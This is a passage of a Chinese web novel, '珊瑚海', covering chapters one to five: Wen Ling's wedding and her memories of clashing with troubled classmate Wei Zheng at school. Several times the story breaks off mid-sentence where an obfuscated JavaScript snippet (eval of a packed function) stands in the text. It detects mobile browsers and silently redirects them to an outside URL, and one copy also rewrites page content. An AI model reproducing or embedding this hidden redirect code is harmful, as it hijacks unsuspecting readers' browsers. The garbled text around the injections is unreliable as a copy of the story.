《珊瑚海》 1. 楔子 “海鸟跟鱼相爱,只是一场意外。”——歌曲《珊瑚海》 她清楚地记得,当年他锁骨上的这处地方并不是一道纹身,而是一块疤。 * 闻灵举办婚礼这一天,刚好是她的二十八岁生日。她的丈夫名叫宋熠,是她在G大读书时认识的华裔,家境优渥,学识渊博,给人的感觉特别像海。 她第一次这样形容他的时候,他笑着表示很意外。 “为什么这么说?”他好奇问道。 “每次看到海的时候,我都会觉得自己不再孤单。”她说,“每次看到你的时候,我也是一样的感觉。” “我永远不会让你孤单。”他语气认真,目光深深地注视着她,像在做出一个无比郑重的承诺。 她知道宋熠不是在说假话哄骗她。 他说到做到,每天手机不离身,永远第一时间回复她的消息,下班后工作上的应酬能推掉的几乎全部推掉。每天她熬夜写论文熬到多晚,他就坐在旁边寸步不离地陪到多晚,哪怕第二天出差有早班机要赶。 他真的很像海,一片能把她紧紧包裹住的海。 她觉得哪怕自己有一天突然从云端坠落下去,这片海也能稳稳地接住她。这种毫无缘由的安全感和踏实感,在和他相处的这些年里,被她反反复复地验证过了千百遍,只要有一次失效,她就会毅然决然地抉择离开。 然而一次都没有过。 宋熠是完美的爱人,毫无保留地用自己的全部在爱她。 * “好久没去看海了。”婚礼前一晚,她靠在他怀里说。 “婚礼结束就陪你去看海,有想去的地方吗?巴厘岛?马尔代夫?”他垂眸问道,神色温柔,“还是回国?你在国内看过海吗?” 她沉默许久,点点头说:“看过。” “什么海?在哪里看的?”他接着问。 “我忘记了。”她收回飘远的思绪,淡淡说道。 他笑了:“那等婚礼结束之后,咱们再决定去哪个地方看海。” * 婚礼当天,闻灵在国内的亲友几乎全部来到了现场。宋熠知道她不喜欢孤单冷清,特意在婚礼筹备之初就给她从小到大的亲朋好友全部发送了邀请函,尽可能确保更多的人到场,把一场婚礼举办得隆重盛大,热闹非凡。 宾客来来往往,络绎不绝,琳琅满目的礼物堆满了酒店的迎宾大厅。 婚礼结束后,她正和堂妹商量着怎么把这些礼物送回家,突然注意到有一本手工制作的相册在众多价格昂贵的礼物中格外突出和显眼。 “这是昨天刚到的快递。” 她的堂妹闻毓最近迷上了追星,因为害怕从国内购买新专辑被父母发现,便一直在用闻灵的名字和电话号码网购。 “我本来以为是我订的新专辑到了,结果发现不是。” “我猜应该是你在国内的朋友给你寄的新婚礼物,就直接带过来了。” 闻灵心中诧异,拿起相册翻开,发现里面装满了全国各地的风景照,多达数百张,一本厚重的相册几乎快要装不下。风景照上不仅有国内所有著名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648278|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景点,就连只有本地人知道的小众特色景点也有,其中海的照片居多,全国各地的每一片海,无一遗漏地全部出现在了这本相册中。 闻毓不禁惊讶问道:“这是谁啊?居然看过这么多海?” “全国有这么多海吗?” “你知道这是你哪个朋友送的吗?” 她指尖颤抖,思绪逐渐混乱,目光变得游移,魂不守舍地摇了摇头。 “这些照片的拍摄手法有点眼熟……”闻毓前后翻阅着相册,立刻拍了下脑门儿,拿出手机说,“你等一下,我找给你看!” “找到了!”闻毓把搜索出来的页面递给她看,“艾零,网络歌手,最近几年在国内挺火的,不过从来没露过脸。” “他在微博里发过风景照,和我刚刚看到的那几张照片在拍摄手法上特别像。” 她捏紧相册再次摇头,脊背发凉,因为手指太过用力,指节渐渐凸起泛白。 “他最火的一首歌是他翻唱的《珊瑚海》。”闻毓向下滑动了一下页面,“下面有一张他在录音棚里的照片。” 照片中的人没有露脸,戴着一顶黑色棒球帽和一只黑色口罩,纯黑的衬衫衣领露出的白皙皮肤上,隐约能看出一道纹身的痕迹。 她用指尖将照片不断放大,终于看清了这道纹身的图案,是一朵铃兰花。 耳畔“嗡”地一声,她的呼吸几乎瞬间停滞,心跳越来越乱,有什么东西在她的脑海中轰然炸开。 她清楚地记得,当年他锁骨上的这处地方并不是一道纹身,而是一块疤。 2. 阴霾 蔚铮不是蔚蓝的海,而是黑暗的阴霾。 * 闻灵从小就知道,自己拥有着一个让很多人羡慕的童年。 学校里众星捧月的“尖子生”和“校花”,舞蹈队中穿着特殊款式舞裙站在中心位的领舞,每天沐浴在老师和同学家长的夸奖赞美声中,得到身边同龄人羡慕的目光…… 如果再加上她殷实富足的家境,大概没有人不会感叹一句,下辈子能不能投胎成为她。 虽然她的父母远在国外工作,家里的大人除了奶奶就只有一个每天负责做饭和打扫卫生的阿姨,但她有一个全世界最好的哥哥。他的哥哥闻清比她大一岁,从小和她形影不离,无论她在学校还是在家里,无论她开心还是难过,他都会陪在她身边,一步都不会离开。 因为闻清的存在,她从来不曾体会过孤单。 她觉得自己的生活是完美而顺利的,这种感觉就像她在崭新的笔记本上工工整整写下的文字,没有任何一笔是失误的,没有任何一个字会写错。 她接受不了涂抹,更接受不了纸张有损坏。如果哪页纸破了角或有折痕,她一定会把这页纸撕掉重写。同样的,如果哪个字写错了,那么连用涂改液抹掉都不行,她也一样会撕掉这页纸重写。 “闻灵这孩子实在太招人喜欢了,不用别人操心,永远都知道自己应该干什么!”班主任不止一次向课任老师们这样夸奖过她。 她轻轻埋下头,唇角上扬到刚刚好的弧度,露出谦逊又得体的笑容,早已可以熟练应对诸如此类的夸赞或恭维。 小学的教室里,她正在用削好的铅笔往田字格上写抄写当天学习的生字,一笔一划,横平竖直。同桌女生的桌子上全是橡皮屑,她的桌面却干干净净,连一块橡皮屑都找不到,因为她一笔都不曾写错过。 “你再看看那个人!多讨人嫌!” “一天到晚连个人样都没有,一点儿正事不干!” 她顺着班主任的视线转头看过去,看见了一个正在趴桌子睡觉的男生。他穿着一件纯黑色卫衣,把头埋进臂弯里,后脑勺翘起来的几绺头发乱蓬蓬的,除了露出的半截脖子特别白,整个人都是黑色的,如同暗夜里一片幽深的沼泽。 “闻灵,班委竞选结果出来了。”放学前,班主任走进教室通知她,“你担任副班长兼学委,班长是史伟。” * 闻灵觉得,她完美童年里所有的不开心和不顺利,都是从她成为班委的那一刻开始的。仿佛落在田字格里的笔迹突然不受她自己控制,怎么写都是歪的,用橡皮涂抹修改无数次,却怎么改都改不对。 在闻灵的内心深处,她渴望人人都喜欢她,不希望有人会讨厌她。然而当班委实在是一件太过复杂又容易和同学产生矛盾的事,它意味着有资格管别人,但也同样意味着会得罪人。 史伟显然并不想得罪人,他整天和那群不守纪律的男生们厮混在一起,对班级纪律永远睁一只眼闭一只眼。 可她不一样,她是完美主义者,眼睛里从来容不得一粒沙。 在她的班级里,有一个出了名的刺儿头,成为了那粒时时刻刻都磨着她眼睛的沙子。 他被班主任请过家长,在教导处门口罚过站,被校长叫进校长室约谈过,被教导主任在全校广播里通报批评和处分过。 她一直清清楚楚地记得他的名字,因为他的姓氏很特别。 他姓蔚,名字叫蔚铮。“蔚”字作姓氏时和“玉”同音,可每次看到这个字,她的眼前都会不受控制地浮现出一片蔚蓝的海。这份联想让她一度对这个名字产生了好印象,然而只要当她想起是谁拥有着这个名字,这点好印象便在她的心里彻底烟消云散了。 蔚铮不是蔚蓝的海,而是黑暗的阴霾。 * 班主任在任命她为班委的时候告诉她,一个好学生光是学习好是远远不够的,还必须要有能力。而班主任口中的能力,大概是指能把每天的作业收齐,能在自习课上保证没有人说话,能监督值日生把教室卫生打扫干净,能在课间阻止有人追逐打闹。 她变成了班主任的另一双眼睛。 因为这个新身份的出现,她发现同学们对她一贯亲近友好的态度发生了很微妙的变化。 有时候同学们怕她,就像他们怕老师。 有时候同学们讨厌她,就像他们讨厌老师。 * 班主任说,教室里的座位都是按大小个排的,只有最后一排是例外。班级里那群从来不学习又总爱扰乱班级纪律的男生全部被分在了最后一排,班级座位每周轮换一次,最后一排的座位却永远固定不变,因为班主任说他们是班级里的“搅屎棍”,和大家一起轮换座位只会影响到其他同学,不如让他们永远待在最后一排自生自灭。 闻灵从一开始就对座位安排的公平性存疑,因为她坐在第一排正中间面对讲台的位置,可她的个子并不矮,甚至是女生中比较高的。 她主动申请坐到后排,班主任却说反正座位是每周轮换的,让她不用担心自己会挡到其他同学。 这样的说法似乎很有道理,可她知道,大人们自有一套他们能说得通的道理,用来掩饰那些本质上并不公平的行为。 * 教室里的噪音永远是从最后一排传过来的,像交替更迭的海浪一样起起伏伏。那群男生懒得要命,绝对不可能按照班主任的要求在书桌侧面粘上挂钩悬挂垃圾袋,而是喜欢用投篮的方式往垃圾桶里扔垃圾。 扔个垃圾而已,他们偏偏觉得自己这样很厉害,实际上除了他们自己,没有人觉得他们厉害。 在这群自以为是的男生里,行为举止最嚣张的人就是蔚铮。 他几乎每个课间都会从教室最后一排往垃圾桶里投篮,扔矿泉水瓶,扔废纸团,手里有什么扔什么。 每当这些东西从她的头顶飞过去的时候,闻灵都会一边做题一边想,如果她突然抬头或者突然站起来,那么她很有可能会被他扔过来的这些东西砸到。 不光是她,班上的其他同学也有可能会被这些东西砸到。 她越想越气,觉得自己不能坐视不管,于是“啪”地放下笔,走到垃圾桶旁边,捡起地上的一个空矿泉水瓶就对准他的座位扔了过去。瓶底刚好落在书桌的边缘,瓶盖撞上他额前的刘海又弹开,让他不得不睁开惺忪的睡眼从桌面上直起身,把视线缓缓聚焦到她身上。 “以后你怎么把垃圾扔过来,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老师说,老师说……除了会说老师说,你还会说什么?你没有自己的思想吗?你是复读机吗?”他掀起眼皮毫不客气地质问她,咄咄逼人的态度让她整个人都僵在了原地,脸色无比难堪。 四周顿时传来哄笑声,像一粒石子投入水面溅开了涟漪,从教室的角落里不断扩散,直到此起彼伏的哄笑声传遍了整个教室。 所有人都在笑,包括身为班长的史伟,连他也在笑。 每一个人的笑都在提醒着她,大家并不是真的喜欢你,甚至有人很讨厌你,极其看不惯你,比如眼前这个叫作蔚铮的人。 她知道蔚铮是在故意报复她。 他这个人心眼极小,一向睚眦必报,她早就听说过了,然而此刻的她却还是做不到波澜不惊,依旧被他气得全身发抖,满脸通红。 她转身就走,抱起数学作业走向年级办公室,当着班主任的面狠狠地告了他一状。直到看到他被班主任冷着脸拽到走廊里怒声批评教育,她的心中才终于稍稍解气。 因为蔚铮的存在,上学变成了一件让她很不开心的事情。 她不止一次地在想,如果她的生活里没有蔚铮就好了。 如果她的生活里没有蔚铮,她一定会开心和顺利很多吧? 3. 委屈 他能不能从她的世界里消失?她再也不想看到他了。 * 下午自习课开始前,闻灵突然被班主任叫到了年级办公室。办公室里除了她和班主任,还有蔚铮和一个男人。男人大约四十出头的年纪,身材高大,混身上下都散发着刺鼻难闻的酒气,看上去颓废又邋遢。班主任告诉她,这个男人是蔚铮的父亲。 “闻灵,你来说说,这段时间蔚铮都干什么了?”班主任端起桌上的玻璃茶杯,拧开杯盖轻轻抿了一口,慢悠悠地对她说。 “上课睡觉,不交各科作业。”她如实回答。 班主任把茶杯放下,似乎对她给出的答案很不满意,疾言厉色地补充道:“不光这样,他还和班干部顶嘴!” “蔚铮爸爸,我当班主任当了十几年了,什么样的学生没见过?像你家孩子这么不服管的,我还真是头一次见!” “对不起啊老师!真对不起!” “我让你顶嘴!”班主任话音刚落,蔚铮的父亲立刻点头哈腰,毕恭毕敬地道歉,随后脸色瞬间变得暴怒,一把揪住蔚铮的衣领,挥起拳头狠狠砸在了他的脸上。 旁边的闻灵被吓得一个激灵,本能地向后踉跄了几步。班主任也被吓了一大跳,连忙从座位上站起身制止。 “有话好好说!别动手!” “他就是欠打!多打几顿就好了!老师你不用对他客气,以后他要是再敢不听话,你就直接动手打!打死了算我的!” “蔚铮爸爸,你先冷静!把手放开!咱们出去说!”见男人又要动手,班主任立刻神色惊惶地拉住他,扭过头嘱咐他们两个,“蔚铮!闻灵!你俩先回班!” 闻灵愣在原地,看到他面无表情地垂着头,曲起指节轻轻抹了下唇角的血迹。她把手伸进校服口袋,想找出纸巾递给他,却看见他冷冷地瞥了她一眼,眸光阴戾,随即收回了视线,转身就走。 她捏着纸巾的动作一顿,被这敌意分明的一眼止住了脚步,放弃了想要追上去的念头。 * 自习课铃响,教导处广播通知学校召开全体教师大会。班主任出发去开会前,让闻灵拿着自己的笔袋和作业到讲台上坐着,负责看管这节自习课的班级纪律。 班主任离开后,教室里基本能保持安静,只有第一排靠窗位置的两个男生一直在窃窃私语,越聊越兴奋,说话的声音也越来越大。 “我听说刚才在老师办公室,蔚铮他爸把他给打了!” “真的假的?” “真的,我亲眼看到的,他爸下手特别狠!要不是有咱老师拦着,我看他爸恨不得要把他给打死!” “你说他爸他妈把他生出来干什么?” “谁知道?我要是他爸他妈,生下来就把他给掐死!” 闻灵起初只是想提醒他们不要再说话,然而当她听清两人都说了些什么时,她觉得光是提醒已经远远不够了。 无论蔚铮是否有错,他们都不应该在背后议论别人的家庭,更不应该对别人说出这样残忍恶毒的话。 她板着脸从讲台上起身,走到两人的书桌旁,正准备让他们道歉,远处突然有一只粉笔头朝她扔了过来。粉笔头被扔过来的力气很大,重重砸在她眼睑下方的位置,疼得她瞬间涌出了眼泪。她忍痛捂住眼睛抬起头,对上了蔚铮充满戾气的眼神。 气愤和委屈顿时涌上心头,她眼中的泪意更加汹涌,抿紧双唇,身体抑制不住地发抖。亏她还想帮他教训这两个背后说他坏话的男生,真是好心没好报。 “灵灵!你没事吧?” “蔚铮你干什么啊?你怎么能打女生!” “对啊!竟然动手打女生!蔚铮你要不要脸!”周围几个女生见状,纷纷从座位上跑了过来,义愤填膺地控诉蔚铮。 同桌女生也飞快地跑来她身边,扶住她的手臂焦急询问:“怎么样,灵灵?没有被打到眼睛吧?” 她憋着泪摇摇头,被同桌女生扶到自己的座位上,俯下身把头埋进臂弯里,依旧能感受到眼睛周围传来的火辣辣的疼痛。她缓缓闭上眼,鼻腔酸痛难忍,终于再也忍不住,眼泪如同断了线的珠子,顺着脸颊一颗颗滚落下来。 她伏在桌子上止不住地出抽泣出声,脑海中只填满了一个念头。 他能不能从她的世界里消失? 她再也不想看到他了。 * 很快到了放学时间,闻灵依旧趴在桌上,等到所有人都走光了,才慢吞吞地开始收拾书包。 收拾完书包后,她正要走,眼前的视线突然被一道黑色的阴影覆盖。 蔚铮长得瘦,个子却很高,此刻单手拎着书包出现在她面前,能完完全全地遮挡住她全部的视线。 他垂下头,目光紧盯着她脸上的红印,喉结滚了滚,低声说:“你……” 没等他说完,她就立刻从讲台上拿起一颗粉笔头,“啪”地砸到了他的脸上。她卯足了劲儿,可距离实在太近了,粉笔头落在他的脸上,几乎什么痕迹都没有留下。 他被砸得一愣,却只是眨了眨眼,没发火,依旧盯着她脸上未消的红印看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648280|206818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不想再理他,拿起书包要走,他却拦住她的路,把她堵在了座位上。 她越想越气,伸手想要推开他,却发现根本推不动。直到她的眼眶红了,泪水顺着脸颊滚落下来,他才蹙了下眉,主动给她让路。 她用力抹了把眼睛,在离开教室前转过头,含着眼泪瞪着他说:“我再也不想看到你!” * 翌日清晨,第一节语文课开始前,闻灵像往常一样在讲台上带领全班同学进行语文晨读,快要结束的时候,看到一个黑色的身影从教室后门走了进来。 蔚铮今天照常迟到,照常不穿校服,然而和往日不同的是,今天的他戴了一顶黑色的棒球帽,还戴了一只黑色口罩。 “蔚铮,把帽子和口罩给我摘下来!”语文老师来到教室后,瞧见蔚铮这副我行我素的模样,立刻不满地朝他吼道。 然而他却没有任何反应,甚至连头都没有抬一下。 “你听不见我说话是吧?”语文老师顿时火冒三丈,气急败坏地快步走到他的座位旁,一把将他的帽子和口罩全都扯了下来。 闻灵跟随全班同学的目光转头看过去,发现他的脸上全是伤,眼角和颧骨处有大片的乌青,鲜红的血迹明晃晃地挂在破了皮的唇角上,格外触目惊心。 “一天天跟个小混子似的,从早到晚就知道打架!” “你爹你妈是当作没生过你这个孩子是吗?” “既然爹妈都不想要,那就别往学校里送!送进来也是给别人添堵!”语文老师指着他怒吼。 全班同学都深埋着头不作声,闻灵却觉得这些话实在太过刺耳,本能生出了想要反驳的念头。她正准备起身开口,却突然想起了昨天那颗砸在自己脸上的粉笔头,下意识攥紧双手,动作迟疑了一下。 她再次转过头看他,对上了他麻木又充满不耐烦的眼神。 他像是根本听不见语文老师在说什么,明明这些刺耳的话都是说给他一个人听的,现实情况却是全班同学都听得兴致勃勃,只有他什么都没有听到。 被语文老师没收了棒球帽和口罩的他重新戴上了黑色卫衣的连衣帽,把头埋进手臂趴在桌子上,再也没有从臂弯里抬起过头。 这天之后,很长的一段时间里,从早自习到晚上放学,他每天都是这副姿态,一刻都不曾改变过。 闻灵每次收发作业或者进出教室的时候,永远只能看到那件黑色卫衣和卫衣上的连衣帽,再也没有看到过他的脸。 她的生活从此顺利了很多,日子也清净了很多。 4. 挑衅 完美主义者闻灵忍受不了这道黑影,放学后独自去了学校附近的照相馆,让照相馆老板把照片上的黑影全部裁掉,这才勉强满意。 * 自从蔚铮不再每天和自己作对,闻灵的校园生活终于回归到平静的正轨。 直到有一天,在去上体育课的路上,她和同桌女生挽着胳膊走出教学楼,一个矿泉水瓶突然从操场上飞过来,砸伤了同桌女生的眼睛。 “没事吧?”她立刻焦急询问,抬眼朝矿泉水瓶飞来的方向看过去,看到了一个笑得恶劣的男生。她记得这个男生,他比她们大一届,和闻清同班,名字叫窦鹏。 “你这么喜欢给林惊野送水,没想到人家不肯要吧?” “他连个球都打不了,你说你给他送水干什么?” “这次还你一瓶,下次记得给我也送一瓶!”窦鹏嬉皮笑脸地朝同桌女生喊话。 窦鹏口中的林惊野是闻灵和闻清的发小,和他们兄妹二人从小一起长大,因为人长得帅,学习成绩又好,在学校里很讨女生们的喜欢。不过林惊野患有先天性心脏病,不能做剧烈运动,很多嫉妒他或者看不惯他的男生会借机生事,贱兮兮地跑到他面前故意挑衅,窦鹏就是其中之一。平时在学校,闻灵经常能看见窦鹏肆无忌惮地到处惹是生非,以欺负别人为乐,无论走到哪儿都是一副无法无天的架势。 闻灵盯着他,缓缓握紧双拳,捡起地上的矿泉水瓶朝他走了过去。 “你想干什么?”窦鹏一脸警觉。 “给你送水啊。”她浅浅一笑,立即拧开手里的矿泉水瓶,把整瓶水对着他的头顶浇了下去。 “妈的!疯了吧你!”窦鹏的整张脸瞬间被淋得湿透,头发一绺绺黏在额头上,水珠啪嗒啪嗒地往下掉,模样狼狈至极。 他双眼猩红,一把抓起她的马尾,将她的发绳扯断,手臂青筋暴起,揪住她的头发越拽越紧。 闻灵疼得脸色煞白,牙齿直打颤,却还是忍痛抬起膝盖,朝着他的腹部重重踹了一脚。窦鹏没有料到她会突然反抗,顿时捂着肚子松开了手。闻灵看准时机,手肘撞上他的胸口,扣住他的脖子试图将他扳倒在地。就在此刻,班上几个男生及时赶到,一起压制住窦鹏,将他送去了教导处。 她陪同桌女生去了医务室,又被教导主任叫去教导处了解情况。从教导处下楼回班时,在楼梯间,她撞见了正在和窦鹏打架的蔚铮。 窦鹏力气不小,却并不是蔚铮的对手。他被蔚铮按在墙上无法动弹,愤恨不甘地剧烈喘着粗气,嘴里不停地骂骂咧咧。 那只扯过她头发的右手被蔚铮反向拧住,死死钳制在他身后,仿佛轻松一下就能被折断。 她脚步一颤,想要装作没看到他们,蔚铮却在听到她的脚步声后突然转头,和她迎面视线撞上。 四目相对的一瞬间,她立刻移开了目光,垂着头迅速走下了楼梯。 回到教室后,她并没有把这件事告诉班主任,因为她觉得窦鹏欠打,不如被蔚铮好好教训一顿。如果刚刚她撞见的是蔚铮在欺负别的同学,她肯定二话不说就把蔚铮送去教导处,丝毫都不可能留情。 但蔚铮未必知道她的想法。 他一定会以为她又要去找班主任告状,或者已经向班主任告状了。今天她刚好换座位换到他前面,他肯定又会想尽办法和她作对或者报复她。 然而她的身后却始终很安静,安静得像是没有人一样。 她向同桌女生借了面小镜子,从书包里找出一根备用的发绳,对着镜子用手指将自己散乱的头发拢了起来,重新扎成了马尾。 课前预备铃响,英语老师走进教室,进门的第一件事便是收英语作业,让所有同学把自己的单词本往前传。 她刚把自己的单词本递给前桌男生,就感觉到自己的辫子被身后的人拽了一下。他拽她辫子的动作很轻,轻得让她几乎感觉不到,她觉得很反常,不知道他想干什么,没有理他。 见她没反应,身后的人紧接着踢了几下她的椅子腿,同样动作很轻,却让她莫名觉得烦躁。她立刻扳着椅子的边缘把椅子往前挪,依旧没理他。 猝不及防地,伴随着“哗啦”一声,一个空白的单词本被扔到了她的桌上。 本子贴着她的耳朵飞过来,差一点就可以砸到她的右耳。 在她的印象里,他从来没有交过英语作业,更不可能会买单词本这种东西,怎么今天突然开始交作业了? 难道就只是为了往她桌上扔东西,用这种方式来挑衅她吗? 盯着他连名字都没写的单词本,闻灵更加验证了自己的猜想。 她觉得他就是故意的。 “所有人的单词本必须写名,没写名的人抓紧把名字补上!”英语老师在讲台上强调。 她实在不想转过头和他说话,索性拿起他的本子,在空白的姓名栏里随手写上了“蔚铮”两个字,然后冷着脸把本子传给了前桌男生。 * 闻灵在学校里度过了有史以来最漫长的一周。 她书包里装的东西很多,桌箱塞不下,所以她一直习惯把书包放在身后,每当要拿东西的时候就转过身去拿。可这一周她却把书包里的课本和练习册全部取出来摞在了桌上,把书包塞进桌箱里,只是为了不用再转身回头。 教室里,明明每个人的座位空间都很小,可她却还是习惯性地把椅子不断往前挪,哪怕被挤得前胸紧贴着桌沿,也还是想让自己的椅子离后面的桌子远一点。 她就这样在拥挤狭小的空间里熬过了一周,周五下午,她终于可以换座了。 傍晚放学,见她摇着马尾蹦蹦跳跳地走在林荫路上,闻清好奇问她:“今天怎么这么开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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演出结束时,在响彻整个礼堂的欢呼和鼓掌声中,她的舞蹈节目夺得了全场最高分,拿到了学生文艺汇演活动的一等奖。 她抱着奖杯站在领奖台上,看到台下的每一个人都不由自主地将目光聚焦在她的身上,眼中流露出或欣赏或羡慕的神情。就在大家纷纷举起相机为她拍照的时候,她看见蔚铮从座位上起身离开了。 “灵灵,看镜头!” “闻灵,这儿!” “灵灵,把奖杯举起来,看这边!” 她回过神,将手里的奖杯举高,对着每一个镜头露出了自信大方的笑容。在这一刻,她终于发现,原来就算自己偶尔会遇到麻烦和不顺,她的人生中也从来都不缺少赞美与喜爱、鲜花与掌声,此时此刻的情景便是最好的证明。 所以,就算他看不惯她又能怎么样?她完美而精彩的人生中从来都不需要他这样一个没有审美和品位的观众。 第二天,她从宣传委员手里拿到洗出来的照片,发现几乎每一张照片的边缘位置都有一道熟悉的黑色身影。 完美主义者闻灵忍受不了这道黑影,放学后独自去了学校附近的照相馆,让照相馆老板把照片上的黑影全部裁掉,这才勉强满意。 5. 意外 那时候的她,心里只有一个愿望,如果可以的话,她再也不想看到蔚铮这个人了。 * 夜里,闻灵拿着照片走出照相馆,注意到隔壁是一家店面很小的烧烤店。烧烤店的老板是个肥胖的中年男人,此刻正坐在店铺门口的小板凳上串烤串。一只流浪猫突然从路边冲过来,打翻了地上的菜篮,男人瞬间脸色阴沉,眼中闪过怒意,把手里的签子一扔,站起身连踢了它好几脚。 闻灵吓得睁大了眼睛,看到男人的妻子把小猫抱了起来,动作粗鲁地将它丢进了店里。 回到家后,她心有余悸,决定想个办法把这只流浪猫救出来。 闻清很早就告诉过她不要去那家照相馆,因为那条街上的网吧和烧烤店都很乱,今晚她是瞒着闻清偷偷去的。 如果被他发现了,他肯定会生她的气。她想了想,决定第二天去问问林惊野能不能陪她一起去救小猫。 林惊野二话不说答应了她。 周末晚上,她和林惊野偷偷溜进烧烤店,顺利抱走了小猫,却在走到店门口时被胖老板逮了个正着。醉酒的男人拎着棍子追赶他们,对林惊野大打出手,闻清及时赶到救了林惊野,却因此被棍子打得浑身是伤。 警车赶到时,救护车也来了。闻灵和医护人员一起坐上救护车,把闻清送去了医院。 医院病房里,奶奶紧握着她的手,等待医生给闻清安排手术事宜。医生说闻清没有生命危险,膝盖却伤得比较严重,术后容易落下病根。 奶奶给爸妈都打了电话,爸爸的电话没打通,估计又在外面应酬,妈妈则推掉了工作,立刻买了最近的一趟航班回国。 “阿清!”第二天,妈妈从病房外破门而入,紧紧锁着眉头,看见闻灵挡在病床前,一把拎起她的胳膊将她拽开,她没站稳,一屁股摔在了地上。 “你拽孩子干什么!”奶奶连忙扶她起来,怒声嗔怪妈妈。 妈妈像是根本没听见奶奶的话,转过头盯着奶奶问:“医生怎么说的?” “医生说手术完观察一段时间看看。”奶奶说。 闻灵觉得自己的右臂隐隐作痛,垂头看了看,发现上面有一道妈妈留下的指甲印,红红的,渗出了血。她怔愣失神,缓缓抬起头,看向了病床旁边妈妈的背影。 曾经她以为,妈妈对待她和哥哥,甚至对待所有人都是一样的,因为她和爸爸一样都是工作狂,没有时间陪任何人,也从来不会关心任何人。 可就在刚刚,她忽然发现,原来不是这样的。 原来妈妈是会关心哥哥的。 甚至会关心则乱,下意识拽开不小心挡路的她。 她已经很久没有见过妈妈了,可妈妈从进门时起,目光便一直黏在哥哥身上,自始至终都没有看过她一眼。 她忽然觉得很难过,她知道自己不应该在哥哥受伤住院的时候计较这些,这样实在太不懂事了,可她就是觉得难过。 “我已经把阿清的出国手续办好了。”妈妈忽然对奶奶说。 “为什么?我不同意!”没等奶奶开口,闻灵立刻大声反对。 “你跟我出来!”妈妈终于正眼看她,对她说了第一句话。 妈妈把她单独拽到医院走廊里,面色铁青地质问她:“闻灵,从小到大,你吃过苦吗?你受过一点儿委屈吗?是你奶奶不够惯着你,还是你哥不够惯着你?你还在闹什么?你还想怎么样?” “我不想和我哥分开。” “你明知道他不愿意出国,凭什么擅自替他做决定?” 在和妈妈据理力争的这一刻,闻灵终于恍然意识到,如果人的内心可以划分圈层,如果亲人之间有亲疏远近之分,那么哥哥和奶奶才是占据她心里最重要位置的人,其次才是妈妈和爸爸。 没有人可以不尊重哥哥的感受,就算是妈妈也不行。 “我不同意我哥出国。”她双手紧握成拳,脸上没有一丝表情,坚决而执拗地重复道。 “你有什么资格和我说这种话?” “你别忘了你哥变成现在这样是因为谁!”妈妈突然声嘶力竭地大吼,扬手“啪”地给了她一巴掌。 妈妈丢下这句话后,头也不回地转身走进了病房。 脸颊迅速红肿发烫,传来灼热的痛意,她疼得很想哭,却努力憋住了眼泪,抱起膝盖沿着身后的墙壁缓缓蹲了下去。 从小到大,这是她第一次挨打,奶奶和哥哥从来都不允许任何人打她。 然而第一个动手打她的人竟然是妈妈。 记忆里,妈妈好像的确从来没有抱过她,亲过她,甚至没有对她笑过一下。幼时的记忆实在过于久远,那些由于得不到父母的陪伴所造成的缺口好像早就已经被闻清填满了,但如果闻清出国离开的话,她又该用什么来填补巨大的孤单呢? 她忽然没办法想象,未来的生活里她一个人要怎么办。 而且,闻清一个人在国外,应该也会很辛苦吧。 同样也没有人陪着他。 她抱着膝盖默默地想着,眼眶里打转的泪水忽然再也忍不住,不争气地顺着脸颊一滴滴滑落。 泪眼模糊中,闻灵隐约看到两个眼熟的男生出现在走廊大厅,正鬼鬼祟祟地朝病房的方向张望。 她记得这两个人,前段时间他们在学校里欺负低年级同学,被闻清和林惊野一起教训过。 “你们想干什么?”她面无表情地盯着他们,“我喊保安了。” “别别别!我们不干什么……” “谁让你们来的?”她哑着嗓子问。 “蔚……蔚铮。”男生紧张得有些结巴,“他,他说他要报复你!反正现在闻清住院了,没人能护得了你……” “他在哪儿?” “学校后门的网吧。” 她用力抹干脸上的泪痕,从地上站起来说:“你们带我去找他。” “我们就不去了,我们还有事儿,先走了哈!”两个男生说完就跑,互相推搡着飞快地跑下了楼梯。 闻灵没理他们,独自来到网吧,看到了蹲在网吧门口正拿着打火机点烟的蔚铮。 注意到她的出现,他愣了一下,掐灭手里的烟头扔进旁边的垃圾桶,视线落在了她的脸上。 “脸怎么了?谁打的?”盯着她的脸看了一会儿后,他蹙起眉头,沉声问道。 “我变成现在这样你满意了吗?”她双眼通红,目光冷冷地瞪着他,“还是你觉得还不够?” “你还想怎么样?你还想怎么报复我?”她咬牙切齿地问。 “我干什么了?”他一脸莫名其妙。 “你自己心里清楚。”她说。 “行。”他偏了下头,扯起唇角露出惯有的冷笑,转过头看着她说,“既然你知道我是什么样的人,那你最好离我远一点。” “这不是你该来的地方,万一再出点儿什么事,别怪我没提醒过你。” 